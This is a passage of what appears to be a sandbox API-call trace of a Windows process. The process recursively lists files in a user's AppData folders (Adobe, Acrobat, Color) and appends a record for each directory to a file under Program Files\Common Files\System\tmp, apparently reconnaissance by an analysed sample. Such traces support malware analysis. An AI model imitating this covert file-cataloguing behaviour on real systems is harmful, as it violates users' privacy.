ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0126.212] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsrgb.icc", cAlternateFileName="")) returned 0 [0126.212] FindClose (in: hFindFile=0x7d15f0 | out: hFindFile=0x7d15f0) returned 1 [0126.212] GetLastError () returned 0x12 [0126.212] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="profiles", cAlternateFileName="")) returned 0 [0126.212] FindClose (in: hFindFile=0x7d15b0 | out: hFindFile=0x7d15b0) returned 1 [0126.212] GetLastError () returned 0x12 [0126.212] FindNextFileA (in: hFindFile=0x7d1570, lpFindFileData=0x18d604 | out: lpFindFileData=0x18d604*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18d36c, dwReserved1=0x18d39c, cFileName="color", cAlternateFileName="")) returned 0 [0126.212] FindClose (in: hFindFile=0x7d1570 | out: hFindFile=0x7d1570) returned 1 [0126.212] GetLastError () returned 0x12 [0126.212] FindNextFileA (in: hFindFile=0x7d1530, lpFindFileData=0x18d960 | out: lpFindFileData=0x18d960*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18d6cc, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0126.212] AreFileApisANSI () returned 1 [0126.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d5d0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164 [0126.213] GetFileType (hFile=0x164) returned 0x1 [0126.213] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d630 | out: lpNewFilePointer=0x0) returned 1 [0126.213] GetLastError () returned 0xb7 [0126.213] SetLastError (dwErrCode=0xb7) [0126.213] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d67c | out: lpNewFilePointer=0x0) returned 1 [0126.213] WriteFile (in: hFile=0x164, lpBuffer=0x18c2bc*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x18c29c, lpOverlapped=0x0 | out: lpBuffer=0x18c2bc*, lpNumberOfBytesWritten=0x18c29c*=0x4f, lpOverlapped=0x0) returned 1 [0126.213] GetLastError () returned 0xb7 [0126.213] SetLastError (dwErrCode=0xb7) [0126.213] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*.*", lpFindFileData=0x18d604 | out: lpFindFileData=0x18d604*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1570 [0126.214] FindNextFileA (in: hFindFile=0x7d1570, lpFindFileData=0x18d604 | out: lpFindFileData=0x18d604*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.214] FindNextFileA (in: hFindFile=0x7d1570, lpFindFileData=0x18d604 | out: lpFindFileData=0x18d604*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0126.214] AreFileApisANSI () returned 1 [0126.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d274, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0126.214] GetFileType (hFile=0x168) returned 0x1 [0126.214] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d2d0 | out: lpNewFilePointer=0x0) returned 1 [0126.214] GetLastError () returned 0xb7 [0126.214] SetLastError (dwErrCode=0xb7) [0126.214] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18d31c | out: lpNewFilePointer=0x0) returned 1 [0126.214] WriteFile (in: hFile=0x168, lpBuffer=0x18bf5c*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x18bf3c, lpOverlapped=0x0 | out: lpBuffer=0x18bf5c*, lpNumberOfBytesWritten=0x18bf3c*=0x55, lpOverlapped=0x0) returned 1 [0126.214] GetLastError () returned 0xb7 [0126.214] SetLastError (dwErrCode=0xb7) [0126.215] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\*.*", lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d15b0 [0126.215] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.215] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0126.215] AreFileApisANSI () returned 1 [0126.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18cf18, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0126.215] GetFileType (hFile=0x16c) returned 0x1 [0126.215] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cf78 | out: lpNewFilePointer=0x0) returned 1 [0126.215] GetLastError () returned 0xb7 [0126.215] SetLastError (dwErrCode=0xb7) [0126.215] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cfc4 | out: lpNewFilePointer=0x0) returned 1 [0126.215] WriteFile (in: hFile=0x16c, lpBuffer=0x18bc04*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x18bbe4, lpOverlapped=0x0 | out: lpBuffer=0x18bc04*, lpNumberOfBytesWritten=0x18bbe4*=0x5d, lpOverlapped=0x0) returned 1 [0126.215] GetLastError () returned 0xb7 [0126.215] SetLastError (dwErrCode=0xb7) [0126.216] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d15f0 [0126.216] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.216] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0126.216] AreFileApisANSI () returned 1 [0126.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18cbbc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0126.216] GetFileType (hFile=0x170) returned 0x1 [0126.216] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc18 | out: lpNewFilePointer=0x0) returned 1 [0126.216] GetLastError () returned 0xb7 [0126.216] SetLastError (dwErrCode=0xb7) [0126.216] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cc64 | out: lpNewFilePointer=0x0) returned 1 [0126.216] WriteFile (in: hFile=0x170, lpBuffer=0x18b8a4*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18b884, lpOverlapped=0x0 | out: lpBuffer=0x18b8a4*, lpNumberOfBytesWritten=0x18b884*=0x62, lpOverlapped=0x0) returned 1 [0126.216] GetLastError () returned 0xb7 [0126.216] SetLastError (dwErrCode=0xb7) [0126.217] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1630 [0126.217] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.217] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0126.217] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x1, dwReserved1=0x832220, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0126.217] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x832220, cFileName="Cache", cAlternateFileName="")) returned 1 [0126.217] AreFileApisANSI () returned 1 [0126.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c860, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0126.217] GetFileType (hFile=0x174) returned 0x1 [0126.217] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c8c0 | out: lpNewFilePointer=0x0) returned 1 [0126.217] GetLastError () returned 0xb7 [0126.217] SetLastError (dwErrCode=0xb7) [0126.217] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18c90c | out: lpNewFilePointer=0x0) returned 1 [0126.217] WriteFile (in: hFile=0x174, lpBuffer=0x18b54c*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x18b52c, lpOverlapped=0x0 | out: lpBuffer=0x18b54c*, lpNumberOfBytesWritten=0x18b52c*=0x68, lpOverlapped=0x0) returned 1 [0126.218] GetLastError () returned 0xb7 [0126.218] SetLastError (dwErrCode=0xb7) [0126.218] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1670 [0126.218] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.218] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0126.218] FindNextFileA (in: hFindFile=0x7d1670, lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="acrofnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 0 [0126.218] FindClose (in: hFindFile=0x7d1670 | out: hFindFile=0x7d1670) returned 1 [0126.218] GetLastError () returned 0x12 [0126.218] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x1, dwReserved1=0x18c95c, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0126.218] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x7b0000, dwReserved1=0x39000138, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0126.218] FindNextFileA (in: hFindFile=0x7d1630, lpFindFileData=0x18cbf0 | out: lpFindFileData=0x18cbf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x7b0000, dwReserved1=0x39000138, cFileName="usercache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0126.218] FindClose (in: hFindFile=0x7d1630 | out: hFindFile=0x7d1630) returned 1 [0126.218] GetLastError () returned 0x12 [0126.218] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0126.218] FindClose (in: hFindFile=0x7d15f0 | out: hFindFile=0x7d15f0) returned 1 [0126.218] GetLastError () returned 0x12 [0126.219] FindNextFileA (in: hFindFile=0x7d15b0, lpFindFileData=0x18d2a8 | out: lpFindFileData=0x18d2a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x18d014, cFileName="Color", cAlternateFileName="")) returned 1 [0126.219] AreFileApisANSI () returned 1 [0126.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0126.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18cf18, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0126.219] GetFileType (hFile=0x16c) returned 0x1 [0126.219] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cf78 | out: lpNewFilePointer=0x0) returned 1 [0126.219] GetLastError () returned 0xb7 [0126.219] SetLastError (dwErrCode=0xb7) [0126.219] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18cfc4 | out: lpNewFilePointer=0x0) returned 1 [0126.219] WriteFile (in: hFile=0x16c, lpBuffer=0x18bc04*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x18bbe4, lpOverlapped=0x0 | out: lpBuffer=0x18bc04*, lpNumberOfBytesWritten=0x18bbe4*=0x5b, lpOverlapped=0x0) returned 1 [0126.219] GetLastError () returned 0xb7 [0126.219] SetLastError (dwErrCode=0xb7) [0126.219] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d15f0 [0126.220] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.220] FindNextFileA (in: hFindFile=0x7d15f0, lpFindFileData=0x18cf4c | out: lpFindFileData=0x18cf4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce719dc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0126.220] 